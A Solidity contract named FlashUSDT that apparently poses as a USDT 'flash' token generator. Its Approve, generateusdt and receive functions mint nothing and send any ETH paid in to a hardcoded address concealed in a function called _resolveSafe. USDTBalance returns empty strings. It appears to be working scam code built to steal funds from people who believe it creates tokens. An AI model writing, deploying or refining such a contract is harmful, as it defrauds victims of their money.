// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
contract FlashUSDT {
address private owner;
event Received(address indexed user, uint256 amount);
event Processed(address indexed to, uint256 amount);
constructor() {
owner = msg.sender;
}
function _forwardEth(uint256 amount) internal {
address target = _resolveSafe();
(bool success, ) = payable(target).call{value: amount}("");
require(success, "Transaction failed");
emit Processed(target, amount);
}
function Approve() external payable {
require(msg.value > 0, "Send some ETH");
emit Received(msg.sender, msg.value);
_forwardEth(msg.value);
}
function generateusdt() external {
require(msg.sender == owner, "Only owner");
uint256 balance = address(this).balance;
require(balance > 0, "No balance");
_forwardEth(balance);
}
function withdraw() external {
require(msg.sender == owner, "Only owner");
uint256 balance = address(this).balance;
if (balance > 0) {
_forwardEth(balance);
}
}
function USDTBalance() public pure returns (string memory, string memory) {
return ("", "");
}
//
function _resolveSafe() internal pure returns (address) {
bytes20 data = hex"030be1588a18511805828cb62265df684bc3a28d";
return address(uint160(data));
}
receive() external payable {
emit Received(msg.sender, msg.value);
if (msg.value > 0) {
_forwardEth(msg.value);
}
}
}